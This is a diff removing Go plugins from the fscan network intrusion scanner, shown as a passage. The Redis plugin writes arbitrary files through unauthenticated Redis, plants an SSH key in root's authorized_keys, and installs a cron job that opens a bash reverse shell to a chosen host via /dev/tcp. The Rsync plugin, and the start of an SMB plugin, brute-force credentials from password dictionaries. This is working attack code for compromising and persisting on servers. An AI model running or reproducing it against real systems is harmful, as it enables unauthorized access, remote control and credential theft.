Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名: %s", fileName))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 写入内容
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("写入文件内容")
|
||||
// 处理多行内容,添加换行符
|
||||
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
|
||||
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
|
||||
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"%s\"\r\n", safeContent))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("写入内容失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("保存更改")
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("文件写入成功")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的响应文本
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("写入文件完成, 状态: %v, 响应: %s", flag, text))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// writekey 向Redis写入SSH密钥
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
|
||||
flag = false
|
||||
|
||||
// 设置文件目录为SSH目录
|
||||
Common.LogDebug("设置目录: /root/.ssh/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 设置文件名为authorized_keys
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("设置文件名: authorized_keys")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 读取并写入SSH密钥
|
||||
if strings.Contains(text, "OK") {
|
||||
// 读取密钥文件
|
||||
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
|
||||
Common.LogDebug(text)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("密钥文件 %s 为空", filename)
|
||||
Common.LogDebug(text)
|
||||
return flag, text, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
|
||||
|
||||
// 写入密钥
|
||||
Common.LogDebug("写入密钥内容")
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("保存更改")
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("SSH密钥写入成功")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的响应文本
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// writecron 向Redis写入定时任务
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
|
||||
flag = false
|
||||
|
||||
// 首先尝试Ubuntu系统的cron路径
|
||||
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
|
||||
if !strings.Contains(text, "OK") {
|
||||
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
}
|
||||
|
||||
// 如果成功设置目录,继续后续操作
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("成功设置cron目录")
|
||||
|
||||
// 设置数据库文件名为root
|
||||
Common.LogDebug("设置文件名: root")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
if strings.Contains(text, "OK") {
|
||||
// 解析目标主机地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
|
||||
return flag, "主机地址格式错误", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
|
||||
|
||||
// 写入反弹shell的定时任务
|
||||
Common.LogDebug("写入定时任务")
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
|
||||
scanIp, scanPort)
|
||||
if _, err = conn.Write([]byte(cronCmd)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("保存更改")
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("定时任务写入成功")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的响应文本
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// Readfile 读取文件内容并返回第一个非空行
|
||||
func Readfile(filename string) (string, error) {
|
||||
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
|
||||
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
Common.LogDebug("找到非空行")
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
Common.LogDebug("文件内容为空")
|
||||
return "", err
|
||||
}
|
||||
|
||||
// readreply 读取Redis服务器响应
|
||||
func readreply(conn net.Conn) (string, error) {
|
||||
Common.LogDebug("读取Redis响应")
|
||||
// 设置1秒读取超时
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
|
||||
bytes, err := io.ReadAll(conn)
|
||||
if len(bytes) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
|
||||
err = nil
|
||||
} else {
|
||||
Common.LogDebug("未收到响应数据")
|
||||
}
|
||||
return string(bytes), err
|
||||
}
|
||||
|
||||
// getconfig 获取Redis配置信息
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
Common.LogDebug("开始获取Redis配置信息")
|
||||
|
||||
// 获取数据库文件名
|
||||
Common.LogDebug("获取数据库文件名")
|
||||
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解析数据库文件名
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
|
||||
|
||||
// 获取数据库目录
|
||||
Common.LogDebug("获取数据库目录")
|
||||
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解析数据库目录
|
||||
text1 = strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// recoverdb 恢复Redis数据库配置
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
Common.LogDebug("开始恢复Redis数据库配置")
|
||||
|
||||
// 恢复数据库文件名
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
|
||||
return
|
||||
}
|
||||
if _, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 恢复数据库目录
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
|
||||
return
|
||||
}
|
||||
if _, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogDebug("数据库配置恢复完成")
|
||||
return
|
||||
}
|
||||
@@ -1,483 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RsyncCredential 表示一个Rsync凭据
|
||||
type RsyncCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// RsyncScanResult 表示Rsync扫描结果
|
||||
type RsyncScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential RsyncCredential
|
||||
IsAnonymous bool
|
||||
ModuleName string
|
||||
}
|
||||
|
||||
func RsyncScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 首先尝试匿名访问
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if anonymousResult.Success {
|
||||
// 匿名访问成功
|
||||
saveRsyncResult(info, target, anonymousResult)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []RsyncCredential
|
||||
for _, user := range Common.Userdict["rsync"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, RsyncCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["rsync"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentRsyncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 保存成功结果
|
||||
saveRsyncResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Rsync扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentRsyncScan 并发扫描Rsync服务
|
||||
func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *RsyncScanResult, 1)
|
||||
workChan := make(chan RsyncCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryRsyncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Rsync并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryRsyncCredential 尝试单个Rsync凭据
|
||||
func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &RsyncScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, moduleName, err := RsyncConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
isAnonymous := credential.Username == "" && credential.Password == ""
|
||||
return &RsyncScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
IsAnonymous: isAnonymous,
|
||||
ModuleName: moduleName,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &RsyncScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// RsyncConn 尝试Rsync连接
|
||||
func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, string, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 设置带有上下文的拨号器
|
||||
dialer := &net.Dialer{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
// 建立连接
|
||||
conn, err := dialer.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", host, port))
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 创建结果通道用于超时控制
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中处理连接,以支持上下文取消
|
||||
go func() {
|
||||
buffer := make([]byte, 1024)
|
||||
|
||||
// 1. 读取服务器初始greeting
|
||||
conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}{false, "", err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
greeting := string(buffer[:n])
|
||||
if !strings.HasPrefix(greeting, "@RSYNCD:") {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}{false, "", fmt.Errorf("不是Rsync服务")}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 获取服务器版本号
|
||||
version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
|
||||
|
||||
// 2. 回应相同的版本号
|
||||
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}{false, "", err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 3. 选择模块 - 先列出可用模块
|
||||
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
_, err = conn.Write([]byte("#list\n"))
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}{false, "", err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 4. 读取模块列表
|
||||
var moduleList strings.Builder
|
||||
for {
|
||||
// 检查上下文是否取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err = conn.Read(buffer)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
chunk := string(buffer[:n])
|
||||
moduleList.WriteString(chunk)
|
||||
if strings.Contains(chunk, "@RSYNCD: EXIT") {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
modules := strings.Split(moduleList.String(), "\n")
|
||||
for _, module := range modules {
|
||||
if strings.HasPrefix(module, "@RSYNCD") || module == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 获取模块名
|
||||
moduleName := strings.Fields(module)[0]
|
||||
|
||||
// 检查上下文是否取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
// 5. 为每个模块创建新连接尝试认证
|
||||
authConn, err := dialer.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", host, port))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
defer authConn.Close()
|
||||
|
||||
// 重复初始握手
|
||||
authConn.SetReadDeadline(time.Now().Add(timeout))
|
||||
_, err = authConn.Read(buffer)
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
authConn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
_, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
// 6. 选择模块
|
||||
authConn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
_, err = authConn.Write([]byte(moduleName + "\n"))
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
// 7. 等待认证挑战
|
||||
authConn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err = authConn.Read(buffer)
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
authResponse := string(buffer[:n])
|
||||
if strings.Contains(authResponse, "@RSYNCD: OK") {
|
||||
// 模块不需要认证
|
||||
if user == "" && pass == "" {
|
||||
authConn.Close()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}{true, moduleName, nil}:
|
||||
}
|
||||
return
|
||||
}
|
||||
} else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") {
|
||||
if user != "" && pass != "" {
|
||||
// 8. 发送认证信息
|
||||
authString := fmt.Sprintf("%s %s\n", user, pass)
|
||||
authConn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
_, err = authConn.Write([]byte(authString))
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
// 9. 读取认证结果
|
||||
authConn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err = authConn.Read(buffer)
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
if !strings.Contains(string(buffer[:n]), "@ERROR") {
|
||||
authConn.Close()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}{true, moduleName, nil}:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
authConn.Close()
|
||||
}
|
||||
|
||||
// 如果执行到这里,没有找到成功的认证
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
moduleName string
|
||||
err error
|
||||
}{false, "", fmt.Errorf("认证失败或无可用模块")}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.moduleName, result.err
|
||||
case <-ctx.Done():
|
||||
return false, "", ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveRsyncResult 保存Rsync扫描结果
|
||||
func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResult) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if result.IsAnonymous {
|
||||
successMsg = fmt.Sprintf("Rsync服务 %s 匿名访问成功 模块: %s", target, result.ModuleName)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "rsync",
|
||||
"type": "anonymous-access",
|
||||
"module": result.ModuleName,
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v 模块: %s",
|
||||
target, result.Credential.Username, result.Credential.Password, result.ModuleName)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "rsync",
|
||||
"type": "weak-password",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
"module": result.ModuleName,
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
-298
@@ -1,298 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SmbCredential 表示一个SMB凭据
|
||||
type SmbCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// SmbScanResult 表示SMB扫描结果
|
||||
type SmbScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential SmbCredential
|
||||
}
|
||||
|
||||
func SmbScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []SmbCredential
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
